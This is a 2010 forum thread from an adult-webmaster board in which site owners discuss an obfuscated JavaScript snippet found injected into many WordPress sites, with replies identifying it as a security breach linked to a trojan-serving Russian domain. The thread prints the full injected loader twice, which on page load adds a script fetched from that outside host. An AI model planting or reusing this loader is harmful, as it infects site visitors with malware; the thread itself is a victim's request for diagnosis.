Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
anyone seen this? code injection.. anyone seen this? code injection..
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 05-09-2010, 06:47 PM   #1
SIK
Confirmed User
 
SIK's Avatar
 
Join Date: Dec 2006
Posts: 1,497
anyone seen this? code injection..
I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

<script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
<!--b9a827d8a9686a8057739c6e91a4cbcc-->
__________________
¤´¨)
¸.•´¸.•*´¨) ¸.•*¨)
(¸.•´ (¸.•`¤ICQ:491 496 482
SIK is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-09-2010, 06:58 PM   #2
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by SDesign View Post
I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

<script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
<!--b9a827d8a9686a8057739c6e91a4cbcc-->
it's a good thing, consider yourself lucky you've been selected to work with labelstare.ru - great site. only good things can happen.
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-09-2010, 07:14 PM   #3
SIK
Confirmed User
 
SIK's Avatar
 
Join Date: Dec 2006
Posts: 1,497
I'd really like to know what the hell does that thing do? Any chance it changes aff links?
__________________
¤´¨)
¸.•´¸.•*´¨) ¸.•*¨)
(¸.•´ (¸.•`¤ICQ:491 496 482
SIK is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-09-2010, 07:15 PM   #4
Jdoughs
Confirmed User
 
Jdoughs's Avatar
 
Industry Role:
Join Date: Mar 2004
Location: Great White North
Posts: 5,794
Quote:
Originally Posted by SDesign View Post
I'd really like to know what the hell does that thing do? Any chance it changes aff links?
My first thought was cookie switcher/replacer or stuff. But I know shit about scripting, I just know a few reasons they would/could.
__________________
LinkSpun - Premier Adult Link Trading Community - ICQ - 464/\281/\250
Be Seen By New Webmasters/Affiliates * Target out webmasters/affiliates based on niches your sites are for less than $20 a month.
AmeriNOC - Proudly hosted @ AmeriNOC!
Jdoughs is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 04:24 AM   #5
CruelMedia
Confirmed User
 
CruelMedia's Avatar
 
Join Date: Nov 2009
Posts: 391
our coder says: "you have a security breach.. somebody injected a harmful script on your site"..
__________________
When in doubt.. Fuck!
ICQ 552426687
www.CruelBucks.com
CruelMedia is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 04:44 AM   #6
LoveSandra
So Fucking Banned
 
Join Date: Aug 2008
Location: Just Blow Me
Posts: 10,551
Quote:
Originally Posted by Mutt View Post
it's a good thing, consider yourself lucky you've been selected to work with labelstare.ru - great site. only good things can happen.
LoveSandra is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 05:27 AM   #7
Caligari
Confirmed User
 
Industry Role:
Join Date: Oct 2009
Location: At The Mountains Of Madness
Posts: 5,414
SDesign where does that actually show up on your wp page? in a template?
__________________
ATTN Webmasters Cruel Bucks - LIVE Gonzo Does Not Pay
------------------------------------------------
Animal Rescue Click Here to Feed An Animal for Free
Caligari is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 05:36 AM   #8
SIK
Confirmed User
 
SIK's Avatar
 
Join Date: Dec 2006
Posts: 1,497
nope, seems like it was injected into .php wp pages, its on the bottom, below closed html tags

I got like 50+ wordpresses to remove it, kinda lazy to do it today
__________________
¤´¨)
¸.•´¸.•*´¨) ¸.•*¨)
(¸.•´ (¸.•`¤ICQ:491 496 482
SIK is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 07:52 AM   #9
VGeorgie
Confirmed User
 
Join Date: Nov 2008
Posts: 359
Quote:
Originally Posted by SDesign View Post
I got like 50+ wordpresses to remove it, kinda lazy to do it today
Google hasn't yet flagged labelstare dot ru as malicious but McAfee doesn't like it, saying it attempts to download a backdoor trojan. If Google lists the labelstare site as malicious, and it detects your sites have links to it, you'll get added to their "This site may harm your computer" list. Not fun to undo that.
VGeorgie is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 08:20 AM   #10
V_RocKs
Damn Right I Kiss Ass!
 
Industry Role:
Join Date: Dec 2003
Location: Cowtown, USA
Posts: 32,405
Never host wordpress on a shared server.
V_RocKs is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 05-10-2010, 08:48 AM   #11
BIGTYMER
Junior Achiever
 
BIGTYMER's Avatar
 
Industry Role:
Join Date: Nov 2004
Location: Walled Garden
Posts: 17,066
That code is doing something with google and ebay. Not sure what yet.
BIGTYMER is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
anyone seen this? code injection.. anyone seen this? code injection..
« Previous Thread | Next Thread »

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.